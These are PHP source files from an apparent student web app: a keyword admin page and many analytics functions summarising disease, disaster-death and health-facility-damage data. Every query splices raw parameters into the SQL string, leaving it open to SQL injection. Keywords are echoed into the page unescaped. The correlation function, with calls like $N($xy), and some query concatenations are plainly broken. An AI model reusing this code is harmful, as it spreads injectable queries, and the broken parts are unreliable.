document.getElementById("delete").click();
});';
} else if (isset($view_result) && $view_result == 3) {
echo'$(document).ready(function(){
document.getElementById("update").click();
});';
}
?>
</script>
</body>
</html><file_sep>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_register_keyword.php'); ?>
<head>
<?php include_once ('dependencies/top_resources.php'); ?>
<?php
if (isset($_POST['deactivate'])) {
$view_result = delete_keyword(($_POST['deactivate']));
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Register Keyword</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Additional Input Details</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>RRL - Keyword</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!----BODY--->
<div class="page-content-inner">
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<!----BODY--->
<div class="row">
<div class="col-md-6 col-sm-6">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">REGISTERED KEYWORDS</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<div class="table-responsive">
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<table class="table table-bordered table-striped table-hover" id="sample_2">
<thead>
<tr>
<th width="40%">Name</th>
<th width="60%">Deactivate</th>
</tr>
</thead>
<tbody>
<?php
$query_result = generate_all_keyword();
if ($query_result != FALSE) {
foreach ($query_result as $arr_result) {
echo' <tr>
<td width="40%">' . $arr_result['keyword'] . '</td>
<td width="60%" align="center"><button name="deactivate" value="' . $arr_result['keywordID'] . '" class="btn btn-danger btn-md"/><span class="fa fa-remove"></span></td>
</tr>';
}
}
?>
</tbody>
</table>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Keyword Registered" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="confirm">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Keyword Deleted" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="delete">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Keyword Updated" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="update">Default Alert</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>
<?php
if (isset($view_result) && $view_result == 1) {
echo'$(document).ready(function(){
document.getElementById("confirm").click();
});';
} else if (isset($view_result) && $view_result == 2) {
echo'$(document).ready(function(){
document.getElementById("delete").click();
});';
} else if (isset($view_result) && $view_result == 3) {
echo'$(document).ready(function(){
document.getElementById("update").click();
});';
}
?>
</script>
</body>
</html><file_sep><?php
function sumhd($year,$month,$region,$city,$disease,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if ($year&&isset($year)) {$WHERE[] = "hd.year='$year' ";}
if ($month&&isset($month)) {$WHERE[] = "hd.month LIKE '$month' ";}
if ($region&&isset($region)) {$WHERE[] = "hd.region LIKE '$region' ";}
if ($city&&isset($city)) {$WHERE[] = "hd.city LIKE '$city' ";}
if ($disease&&isset($disease)) {$WHERE[] = "hd.disease LIKE '$disease' ";}
if ($uploadedBy&&isset($uploadedBy)) {$WHERE[] = "hd.uploadedBy='$uploadedBy' ";}
if ($uploadDate&&isset($uploadDate)) {$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "hd.uploadDate LIKE '$date' ";}
$query = "SELECT (SELECT d.disease FROM diseases d WHERE d.diseaseID=hd.diseaseID) AS 'disease', hd.infected "
. "FROM health_data hd "
. "WHERE active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
$query_result[] = array();
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function sumed($year,$month,$region,$city,$incident,$barangay,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
if($uploadedBy&&isset($uploadedBy)){$WHERE[]="ed.uploadedBy='$uploadedBy' ";}
if($uploadDate&&isset($uploadDate)){$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "ed.uploadDate LIKE '$date' ";}
$query = "SELECT DISTINCT ed.incident, SUM(ed.number_of_deaths) AS 'num_of_deaths' "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.incident";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function sumhid_existing($year,$month,$region,$city,$barangay,$facility,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
if($facility&&isset($facility)){$WHERE[]="hid.facility IN (SELECT f.facilitiesID FROM facilities f WHERE f.name='$facility') ";}
if($uploadedBy&&isset($uploadedBy)){$WHERE[]="hid.uploadedBy='$uploadedBy' ";}
if($uploadDate&&isset($uploadDate)){$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "hid.uploadDate LIKE '$date' ";}
$query = "SELECT (SELECT f.name FROM facilities f WHERE f.facilitiesID=hid.facility) AS 'facility', "
. "SUM(hid.existing) AS 'existing'"
. "FROM health_infrastructure_damages hid "
. "WHERE hid.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hid.facility";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function sumhid_available_for_use($year,$month,$region,$city,$barangay,$facility,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
if($facility&&isset($facility)){$WHERE[]="hid.facility IN (SELECT f.facilitiesID FROM facilities f WHERE f.name='$facility') ";}
if($uploadedBy&&isset($uploadedBy)){$WHERE[]="hid.uploadedBy='$uploadedBy' ";}
if($uploadDate&&isset($uploadDate)){$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "hid.uploadDate LIKE '$date' ";}
$query = "SELECT (SELECT f.name FROM facilities f WHERE f.facilitiesID=hid.facility) AS 'facility', "
. "SUM(hid.available_for_use) AS 'available_for_use'"
. "FROM health_infrastructure_damages hid "
. "WHERE hid.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hid.facility";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function sumhid_damaged_by_event_incident($year,$month,$region,$city,$barangay,$facility,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
if($facility&&isset($facility)){$WHERE[]="hid.facility IN (SELECT f.facilitiesID FROM facilities f WHERE f.name='$facility') ";}
if($uploadedBy&&isset($uploadedBy)){$WHERE[]="hid.uploadedBy='$uploadedBy' ";}
if($uploadDate&&isset($uploadDate)){$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "hid.uploadDate LIKE '$date' ";}
$query = "SELECT (SELECT f.name FROM facilities f WHERE f.facilitiesID=hid.facility) AS 'facility', "
. "SUM(hid.damaged_by_event_incident) AS 'damaged_by_event_incident'"
. "FROM health_infrastructure_damages hid "
. "WHERE hid.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hid.facility";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
//analytics_six - NOT DONE
function sumhid_functional($year,$month,$region,$city,$barangay,$facility,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
if($facility&&isset($facility)){$WHERE[]="hid.facility IN (SELECT f.facilitiesID FROM facilities f WHERE f.name='$facility') ";}
if($uploadedBy&&isset($uploadedBy)){$WHERE[]="hid.uploadedBy='$uploadedBy' ";}
if($uploadDate&&isset($uploadDate)){$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "hid.uploadDate LIKE '$date' ";}
$query = "SELECT (SELECT f.name FROM facilities f WHERE f.facilitiesID=hid.facility) AS 'facility', "
. "COUNT(hid.functional) AS 'functional'"
. "FROM health_infrastructure_damages hid "
. "WHERE hid.active=1 AND functional=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hid.facility";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
//analytics_seven - NOT DONE
function sumhid_nonfunctional($year,$month,$region,$city,$barangay,$facility,$uploadedBy,$uploadDate) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
if($facility&&isset($facility)){$WHERE[]="hid.facility IN (SELECT f.facilitiesID FROM facilities f WHERE f.name='$facility') ";}
if($uploadedBy&&isset($uploadedBy)){$WHERE[]="hid.uploadedBy='$uploadedBy' ";}
if($uploadDate&&isset($uploadDate)){$date = date_format($uploadDate,"Y-m-d"); $WHERE[] = "hid.uploadDate LIKE '$date' ";}
$query = "SELECT (SELECT f.name FROM facilities f WHERE f.facilitiesID=hid.facility) AS 'facility', "
. "COUNT(hid.functional) AS 'functional'"
. "FROM health_infrastructure_damages hid "
. "WHERE hid.active=1 AND functional=2 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY hid.facility";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
//TRIAD DATA
//analytics_eight - NOT DONE
//START OF REPORTS BASED FROM EXCEL SHEET "THSIS01 ANALYTICS"
function affectedareas_extremeevents_all($year,$month,$region,$city,$incident,$barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT DISTINCT ed.number_of_incidents ,ed.region "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.region ORDER BY ed.region";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
//TRIAD DATA
//WAG GALAWIN//
//function infected_hid_extremeevents_all($year,$month,$region,$city,$incident,$barangay) {
// require_once('model/dbconnect.php');
// $WHERE = array();
// if($year&&isset($year)){$WHERE[]="ed.year IN (SELECT hid.year FROM health_infrastructure_damages hid WHERE hid.year='$year') ";}else{$WHERE[]="ed.year IN (SELECT hid.year FROM health_infrastructure_damages hid) ";}
// if($month&&isset($month)){$WHERE[]="ed.month IN (SELECT hid.month FROM health_infrastructure_damages hid WHERE hid.month LIKE '$month') ";}else{$WHERE[]="ed.month IN (SELECT hid.month FROM health_infrastructure_damages hid) ";}
// if($region&&isset($region)){$WHERE[]="ed.region IN (SELECT hid.region FROM health_infrastructure_damages hid WHERE hid.region LIKE '$region') ";}else{$WHERE[]="ed.region IN (SELECT hid.region FROM health_infrastructure_damages hid) ";}
// if($city&&isset($city)){$WHERE[]="ed.municipality IN (SELECT hid.city FROM health_infrastructure_damages hid WHERE hid.city LIKE '$city') ";}else{$WHERE[]="ed.municipality IN (SELECT hid.city FROM health_infrastructure_damages hid) ";}
// if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
// if($barangay&&isset($barangay)){$WHERE[]="ed.barangay IN (SELECT hid.barangay FROM health_infrastructure_damages hid WHERE hid.barangay LIKE '$barangay') ";}else{$WHERE[]="ed.barangay IN (SELECT hid.barangay FROM health_infrastructure_damages hid) ";}
// $query = "SELECT ed.incident, (SELECT d.disease FROM diseases d WHERE d.diseaseID = hd.diseaseID) AS 'disease', hd.infected "
// . "FROM event_data ed JOIN health_data hd ON ed.projectID=hd.projectID "
// . "WHERE ed.active=1 ";
// if(count($WHERE)){
// $query .="AND" . implode(" ", $WHERE);
// }
// $query .="GROUP BY ed.incident";
// $con = createconnection();
// $result = mysqli_query($con, $query);
//
// while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
// $query_result[] = $row;
// }
// echo json_encode($query_result);
// $con->close();
//}
//QUAD DATA
function annual_calamities_area_all($year,$month,$region,$city,$incident,$barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT ed.year, ed.number_of_incidents "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.incident ORDER BY ed.year desc";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
//QUAD DATA
function annual_casualties_extremeevents_all($year,$month,$region,$city,$incident,$barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT DISTINCT ed.incident, SUM(ed.number_of_deaths) AS 'num_of_deaths' "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.incident ";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
///REUEL
//QUAD DATA
function annual_deaths($year,$month,$region,$city,$incident,$barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT DISTINCT ed.year, SUM(ed.number_of_deaths) AS 'num_of_deaths' "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.year ";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function annual_diseases_calamity_all($year,$month,$region,$city,$incident) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year IN (SELECT hd.year FROM health_data hd WHERE hd.year='$year') ";}else{$WHERE[]="ed.year IN (SELECT hd.year FROM health_data hd) ";}
if($month&&isset($month)){$WHERE[]="ed.month IN (SELECT hd.month FROM health_data hd WHERE hd.month LIKE '$month') ";}else{$WHERE[]="ed.month IN (SELECT hd.month FROM health_data hd) ";}
if($region&&isset($region)){$WHERE[]="ed.region IN (SELECT hd.region FROM health_data hd WHERE hd.region LIKE '$region') ";}else{$WHERE[]="ed.region IN (SELECT hd.region FROM health_data hd) ";}
if($city&&isset($city)){$WHERE[]="ed.municipality IN (SELECT hd.city FROM health_data hd WHERE hd.city LIKE '$city') ";}else{$WHERE[]="ed.municipality IN (SELECT hd.city FROM health_data hd) ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
$query = "SELECT DISTINCT ed.incident,ed.year, ed.region, "
. "(SELECT d.disease FROM diseases d WHERE d.diseaseID IN (SELECT hd.diseaseID FROM health_data hd WHERE hd.year IN (SELECT ed.year FROM event_data ed) AND hd.month IN (SELECT ed.month FROM event_data ed) AND hd.region IN (SELECT ed.region FROM event_data ed) AND hd.city IN (SELECT ed.municipality FROM event_data ed))) AS 'disease', "
. "(SELECT SUM(hd.infected) FROM health_data hd WHERE hd.year IN (SELECT ed.year FROM event_data ed) AND hd.month IN (SELECT ed.month FROM event_data ed) AND hd.region IN (SELECT ed.region FROM event_data ed) AND hd.city IN (SELECT ed.municipality FROM event_data ed)) AS 'num_of_infected' "
. "FROM event_data ed JOIN health_data hd ON ed.projectID=hd.projectID "
. "WHERE ed.active = 1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.incident"
. "ORDER BY ed.year, SUM(hd.infected) desc";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
////END
function deaths_extremeevents_all($year,$month,$region,$city,$incident,$barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="ed.year='$year' ";}
if($month&&isset($month)){$WHERE[]="ed.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="ed.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="ed.municipality LIKE '$city' ";}
if($incident&&isset($incident)){$WHERE[]="ed.incident LIKE '$incident' ";}
if($barangay&&isset($barangay)){$WHERE[]="ed.barangay LIKE '$barangay' ";}
$query = "SELECT DISTINCT ed.incident, ed.region, ed.municipality, ed.barangay, SUM(ed.number_of_deaths) AS 'num_of_deaths' "
. "FROM event_data ed "
. "WHERE ed.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$query .="GROUP BY ed.incident, ed.region, ed.municipality ORDER BY SUM(ed.number_of_deaths) desc";
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
//END OF REPORTS
//START OF CORRELATION
function casualties_healthinfradamage_graph($year, $month, $region, $city, $barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
$query = "SELECT hid.incident, hid.number_of_incidents, "
. "(SELECT ed.number_of_deaths FROM event_data ed WHERE ed.year IN (SELECT hid.year FROM health_infrastructure_damages hid) AND ed.month IN (SELECT hid.month FROM health_infrastructure_damages hid)AND ed.region IN (SELECT hid.region FROM health_infrastructure_damages hid) AND ed.municipality IN (SELECT hid.city FROM health_infrastructure_damages hid) AND ed.barangay IN (SELECT hid.barangay FROM health_infrastructure_damages hid)) AS 'num_of_deaths' "
. "FROM health_infrastructure_damages hid WHERE hid.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
echo json_encode($query_result);
$con->close();
}
function casualties_healthinfradamage_computation($year, $month, $region, $city, $barangay) {
require_once('model/dbconnect.php');
$WHERE = array();
if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
$query = "SELECT hid.incident, hid.number_of_incidents, "
. "(SELECT ed.number_of_deaths FROM event_data ed WHERE ed.year IN (SELECT hid.year FROM health_infrastructure_damages hid) AND ed.month IN (SELECT hid.month FROM health_infrastructure_damages hid)AND ed.region IN (SELECT hid.region FROM health_infrastructure_damages hid) AND ed.municipality IN (SELECT hid.city FROM health_infrastructure_damages hid) AND ed.barangay IN (SELECT hid.barangay FROM health_infrastructure_damages hid)) AS 'num_of_deaths' "
. "FROM health_infrastructure_damages hid WHERE hid.active=1 ";
if(count($WHERE)){
$query .="AND" . implode(" ", $WHERE);
}
$con = createconnection();
$result = mysqli_query($con, $query);
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
}
$con->close();
$N = count($query_result);
foreach ($query_result as $arr) {
$x += $arr[1];
$y += $arr[2];
$xy += $arr[1] * $arr[2];
$x2 += $arr[1] * $arr[1];
$y2 += $arr[2] * $arr[2];
}
$r = ($N($xy) - (($x)($y))) / (sqrt(($N($x2) - ((pow($x, 2))))($N($y2) - (pow($y, 2)))));
return $r;
}
////WAG GALAWIN//
//function watersysdamages_diseases_graph($year, $month, $region, $city, $barangay) {
// require_once('model/dbconnect.php');
// $WHERE = array();
// if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
// if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
// if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
// if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
// if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
// $query = "SELECT hid.incident, hid.number_of_incidents, "
// . "(SELECT d.disease FROM diseases d WHERE d.diseaseID=(SELECT hd.diseaseID FROM health_data hd WHERE hd.year IN (SELECT hid.year FROM health_infrastructure_damages hid) AND hd.month IN (SELECT hid.month FROM health_infrastructure_damages hid) AND hd.region IN (SELECT hid.region FROM health_infrastructure_damages hid) AND hd.city IN (SELECT hid.city FROM health_infrastructure_damages hid)) AS 'disease', "
// . "(SELECT hd.infected FROM health_data hd WHERE hd.year IN (SELECT hid.year FROM health_infrastructure_damages hid) AND hd.month IN (SELECT hid.month FROM health_infrastructure_damages hid) AND hd.region IN (SELECT hid.region FROM health_infrastructure_damages hid) AND hd.city IN (SELECT hid.city FROM health_infrastructure_damages hid)) AS 'num_of_infected' "
// . "FROM health_infrastructure_damages hid "
// . "WHERE hid.active=1 ";
// if(count($WHERE)){
// $query .="AND" . implode(" ", $WHERE);
// }
// $con = createconnection();
// $result = mysqli_query($con, $query);
//
// while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
// $query_result[] = $row;
// }
// echo json_encode($query_result);
// $con->close();
//}
//
//function watersysdamages_diseases_computation($year, $month, $region, $city, $barangay) {
// require_once('model/dbconnect.php');
// $WHERE = array();
// if($year&&isset($year)){$WHERE[]="hid.year='$year' ";}
// if($month&&isset($month)){$WHERE[]="hid.month LIKE '$month' ";}
// if($region&&isset($region)){$WHERE[]="hid.region LIKE '$region' ";}
// if($city&&isset($city)){$WHERE[]="hid.city LIKE '$city' ";}
// if($barangay&&isset($barangay)){$WHERE[]="hid.barangay LIKE '$barangay' ";}
// $query = "SELECT hid.incident, hid.number_of_incidents, "
// . "(SELECT d.disease FROM diseases d WHERE d.diseaseID=(SELECT hd.diseaseID FROM health_data hd WHERE hd.year IN (SELECT hid.year FROM health_infrastructure_damages hid) AND hd.month IN (SELECT hid.month FROM health_infrastructure_damages hid) AND hd.region IN (SELECT hid.region FROM health_infrastructure_damages hid) AND hd.city IN (SELECT hid.city FROM health_infrastructure_damages hid)) AS 'disease', "
// . "(SELECT hd.infected FROM health_data hd WHERE hd.year IN (SELECT hid.year FROM health_infrastructure_damages hid) AND hd.month IN (SELECT hid.month FROM health_infrastructure_damages hid) AND hd.region IN (SELECT hid.region FROM health_infrastructure_damages hid) AND hd.city IN (SELECT hid.city FROM health_infrastructure_damages hid)) AS 'num_of_infected' "
// . "FROM health_infrastructure_damages hid "
// . "WHERE hid.active=1 ";
// if(count($WHERE)){
// $query .="AND" . implode(" ", $WHERE);
// }
// $con = createconnection();
// $result = mysqli_query($con, $query);
//
// if ($num_rows > 0) {
// while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
// $query_result[] = $row;
// }
// }
// $con->close();
//
// $N = count($query_result);
// foreach ($query_result as $arr) {
// $x += $arr[1];
// $y += $arr[3];
// $xy += $arr[1] * $arr[3];
// $x2 += $arr[1] * $arr[1];
// $y2 += $arr[3] * $arr[3];
// }
//
// $r = ($N($xy) - (($x)($y))) / (sqrt(($N($x2) - ((pow($x, 2))))($N($y2) - (pow($y, 2)))));
//
// return $r;
//}
